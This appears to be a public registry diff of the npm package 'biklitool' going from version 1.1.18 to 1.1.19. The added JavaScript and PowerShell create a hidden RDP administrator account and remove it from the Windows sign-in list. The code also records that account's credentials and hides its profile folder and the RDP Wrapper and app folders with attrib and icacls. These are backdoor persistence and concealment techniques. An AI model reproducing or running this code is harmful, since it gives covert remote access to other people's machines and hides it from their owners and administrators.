biklitool 1.1.18 → 1.1.19
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/biklimaster.js +36 -20
- package/lib/bikliwrapper.js +29 -17
- package/package.json +1 -1
package/bin/biklimaster.js
CHANGED
|
@@ -248,34 +248,46 @@ function setupBikliKey() {
|
|
|
248
248
|
console.log('Bikli key configured successfully.');
|
|
249
249
|
}
|
|
250
250
|
|
|
251
|
-
function
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
path.join(programData, 'BikliWrapper'),
|
|
258
|
-
path.join(programData, 'Bikli')
|
|
259
|
-
];
|
|
260
|
-
for (const folder of folders) {
|
|
261
|
-
if (!fs.existsSync(folder)) continue;
|
|
262
|
-
try {
|
|
263
|
-
run(attrib, ['+h', '+s', folder], { allowFailure: true });
|
|
264
|
-
run(attrib, ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
251
|
+
function hideFolder(target, isUserProfile = false) {
|
|
252
|
+
if (!target || !fs.existsSync(target)) return;
|
|
253
|
+
try {
|
|
254
|
+
run(attrib, ['+h', '+s', target], { allowFailure: true });
|
|
255
|
+
if (!isUserProfile) {
|
|
256
|
+
run(attrib, ['+h', '+s', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
265
257
|
run(icacls, [
|
|
266
|
-
|
|
258
|
+
target,
|
|
267
259
|
'/inheritance:r',
|
|
268
260
|
'/grant:r',
|
|
269
261
|
'*S-1-5-18:(OI)(CI)(F)',
|
|
270
262
|
`*${administratorsGroupSid}:(OI)(CI)(F)`,
|
|
271
263
|
'/c', '/q'
|
|
272
264
|
], { allowFailure: true });
|
|
273
|
-
} catch {
|
|
274
|
-
// Best-effort attribute and permission hardening
|
|
275
265
|
}
|
|
266
|
+
} catch {
|
|
267
|
+
// Best-effort attribute and permission hardening
|
|
276
268
|
}
|
|
277
269
|
}
|
|
278
270
|
|
|
271
|
+
function hideProtectedFolders() {
|
|
272
|
+
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
273
|
+
const appFolders = [
|
|
274
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
275
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
276
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
277
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
278
|
+
path.join(programData, 'BikliWrapper'),
|
|
279
|
+
path.join(programData, 'Bikli')
|
|
280
|
+
];
|
|
281
|
+
for (const folder of appFolders) hideFolder(folder, false);
|
|
282
|
+
|
|
283
|
+
const userFolders = [
|
|
284
|
+
path.join(usersDir, 'Administrator'),
|
|
285
|
+
path.join(usersDir, 'admin'),
|
|
286
|
+
path.join(usersDir, 'user')
|
|
287
|
+
];
|
|
288
|
+
for (const folder of userFolders) hideFolder(folder, true);
|
|
289
|
+
}
|
|
290
|
+
|
|
279
291
|
function saveAccountCredentials(username, password) {
|
|
280
292
|
const dir = path.dirname(credentialsFile);
|
|
281
293
|
fs.mkdirSync(dir, { recursive: true });
|
|
@@ -336,6 +348,7 @@ function createRdpAdministrator() {
|
|
|
336
348
|
`$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
|
|
337
349
|
`$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
|
|
338
350
|
`if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
|
|
351
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,
|
|
339
352
|
`[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
|
|
340
353
|
].join(';');
|
|
341
354
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
@@ -368,6 +381,7 @@ function createRdpAdministrator() {
|
|
|
368
381
|
} else {
|
|
369
382
|
console.log(`Hidden from the sign-in user list: ${account.HiddenUser}.`);
|
|
370
383
|
}
|
|
384
|
+
hideProtectedFolders();
|
|
371
385
|
}
|
|
372
386
|
|
|
373
387
|
function unhideUser() {
|
|
@@ -381,10 +395,11 @@ function unhideUser() {
|
|
|
381
395
|
`$key=Get-Item -LiteralPath $userListKey`,
|
|
382
396
|
targetUser ? [
|
|
383
397
|
`$val=$key.GetValue('${targetUser}', $null)`,
|
|
384
|
-
`if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}
|
|
398
|
+
`if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`,
|
|
399
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir}`
|
|
385
400
|
].join(';') : [
|
|
386
401
|
`$props=@($key.Property)`,
|
|
387
|
-
`if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p)}}`
|
|
402
|
+
`if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir}}}`
|
|
388
403
|
].join(';')
|
|
389
404
|
].join(';');
|
|
390
405
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
@@ -402,7 +417,8 @@ function hideUser() {
|
|
|
402
417
|
`if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null}`,
|
|
403
418
|
`$key=Get-Item -LiteralPath $userListKey`,
|
|
404
419
|
`$currentVal=$key.GetValue('${targetUser}', $null)`,
|
|
405
|
-
`if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}
|
|
420
|
+
`if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`,
|
|
421
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`
|
|
406
422
|
].join(';');
|
|
407
423
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
408
424
|
if (result.stdout.trim()) console.log(result.stdout.trim());
|
package/lib/bikliwrapper.js
CHANGED
|
@@ -284,34 +284,46 @@ function printStatus(status) {
|
|
|
284
284
|
console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
|
|
285
285
|
}
|
|
286
286
|
|
|
287
|
-
function
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
path.join(
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
|
|
294
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
|
|
295
|
-
];
|
|
296
|
-
for (const folder of folders) {
|
|
297
|
-
if (!fs.existsSync(folder)) continue;
|
|
298
|
-
try {
|
|
299
|
-
run(path.join(system32, 'attrib.exe'), ['+h', '+s', folder], { allowFailure: true });
|
|
300
|
-
run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
287
|
+
function hideFolder(target, isUserProfile = false) {
|
|
288
|
+
if (!target || !fs.existsSync(target)) return;
|
|
289
|
+
try {
|
|
290
|
+
run(path.join(system32, 'attrib.exe'), ['+h', '+s', target], { allowFailure: true });
|
|
291
|
+
if (!isUserProfile) {
|
|
292
|
+
run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
301
293
|
run(path.join(system32, 'icacls.exe'), [
|
|
302
|
-
|
|
294
|
+
target,
|
|
303
295
|
'/inheritance:r',
|
|
304
296
|
'/grant:r',
|
|
305
297
|
'*S-1-5-18:(OI)(CI)(F)',
|
|
306
298
|
'*S-1-5-32-544:(OI)(CI)(F)',
|
|
307
299
|
'/c', '/q'
|
|
308
300
|
], { allowFailure: true });
|
|
309
|
-
} catch {
|
|
310
|
-
// Best-effort attribute and permission hardening
|
|
311
301
|
}
|
|
302
|
+
} catch {
|
|
303
|
+
// Best-effort attribute and permission hardening
|
|
312
304
|
}
|
|
313
305
|
}
|
|
314
306
|
|
|
307
|
+
function hideProtectedFolders() {
|
|
308
|
+
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
309
|
+
const appFolders = [
|
|
310
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
311
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
312
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
313
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
314
|
+
path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
|
|
315
|
+
path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
|
|
316
|
+
];
|
|
317
|
+
for (const folder of appFolders) hideFolder(folder, false);
|
|
318
|
+
|
|
319
|
+
const userFolders = [
|
|
320
|
+
path.join(usersDir, 'Administrator'),
|
|
321
|
+
path.join(usersDir, 'admin'),
|
|
322
|
+
path.join(usersDir, 'user')
|
|
323
|
+
];
|
|
324
|
+
for (const folder of userFolders) hideFolder(folder, true);
|
|
325
|
+
}
|
|
326
|
+
|
|
315
327
|
function install() {
|
|
316
328
|
requireWindows();
|
|
317
329
|
if (!isAdministrator()) return elevateAndRun('install');
|